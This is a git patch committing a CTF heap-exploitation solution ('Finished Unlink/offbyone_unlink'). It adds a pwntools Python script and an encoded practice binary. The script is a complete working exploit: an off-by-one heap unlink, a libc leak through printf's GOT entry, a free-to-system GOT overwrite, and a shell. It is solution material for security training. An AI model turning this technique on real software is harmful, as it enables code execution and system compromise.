From bc86cde9593f701a3406c5b39315396f5b98d910 Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Fri, 4 Feb 2022 14:06:05 +0800 Subject: [PATCH] Finished Unlink/offbyone_unlink --- Unlink/offbyone_unlink/answer.py | 89 +++++++++++++++++++++++++ Unlink/offbyone_unlink/offbyone_unlink | Bin 0 -> 13584 bytes 2 files changed, 89 insertions(+) create mode 100755 Unlink/offbyone_unlink/answer.py create mode 100755 Unlink/offbyone_unlink/offbyone_unlink diff --git a/Unlink/offbyone_unlink/answer.py b/Unlink/offbyone_unlink/answer.py new file mode 100755 index 0000000..32b1295 --- /dev/null +++ b/Unlink/offbyone_unlink/answer.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python2 +# coding = utf-8 +# Environment: Ubuntu 16.04 + +from pwn import * +from LibcSearcher import * +context(arch = "amd64", os = "linux", log_level = "debug") + +def send_choice(choice): + p.recvuntil('>') + p.sendline(str(choice)) + +def new_data(size, data): + send_choice(1) + p.recvuntil('size ?') + p.sendline(str(size)) + p.recvuntil('data:') + p.send(data) + +def delete_data(index): + send_choice(2) + p.recvuntil('index?') + p.sendline(str(index)) + +def show_data(index): + send_choice(3) + p.recvuntil('index?') + p.sendline(str(index)) + +def edit_data(index, data): + send_choice(4) + p.recvuntil('index?') + p.sendline(str(index)) + p.recvuntil('data?') + p.send(data) + +p = process('./offbyone_unlink') +elf = ELF('./offbyone_unlink') +gdb.attach(p, '') + +""" +Heap Layout: +|-------------------- +|(nested a fake)chunk used to do off-by-one +|-------------------- +|unsorted bin chunk(to unlink) +|-------------------- +|isolating chunk(from top) +|-------------------- +|top chunk(lefted) +|-------------------- +SmallBin: 0x80 < size < 0x400 +""" + +data_bss = 0x602120 # Directly point to a chunk(i: 0) which will be forged to free later +new_data(0x108, 'a') # chunk(i: 0): 0x100 user data block + 0x8 nextchunk.prev_size(used for data) +new_data(0xf0, 'a') +new_data(0x100, '/bin/sh\x00') + +# Step 1: Do heap unlink to get arbitrary memory R/W +payload = '' # A Nested Fake Chunk(fake_chunk) to trigger heap unlink +payload += p64(0) # fake_chunk->prev_size +payload += p64(0x100 | 0x001) # fake_chunk->size | PREV_INUSE +payload += p64(data_bss - 0x18) # fake_chunk->fd +payload += p64(data_bss - 0x10) # fake_chunk->bk +payload = payload.ljust(0x100, 'a') # Padding fake_chunk to user data block size(0x100) +payload += p64(0x100) # next_chunk(i:1)->prev_size +payload += p8(0) # (off-by-one byte) next_chunk->PREV_INUSE = false (forged free) +edit_data(0, payload) +delete_data(1) + +# Step 2: Leak `printf` libc address +printf_got = elf.got['printf'] +payload = '0' * 0x18 + p64(data_bss) + p64(printf_got) +edit_data(0, payload) +show_data(1) +printf_libc = u64(p.recv(6) + '\x00\x00') +libc = LibcSearcher('printf', printf_libc) +libc_base = printf_libc - libc.dump('printf') +system_libc = libc_base + libc.dump('system') + +# Step 3: Write `free` GOT with `system` and get shell +free_got = elf.got['free'] +payload = p64(data_bss) + p64(free_got) +edit_data(0, payload) +edit_data(1, p64(system_libc)) +delete_data(2) + +p.interactive() \ No newline at end of file diff --git a/Unlink/offbyone_unlink/offbyone_unlink b/Unlink/offbyone_unlink/offbyone_unlink new file mode 100755 index 0000000000000000000000000000000000000000..ea54c46d8487be7537b3fa68ce4f9294bba64054 GIT binary patch literal 13584 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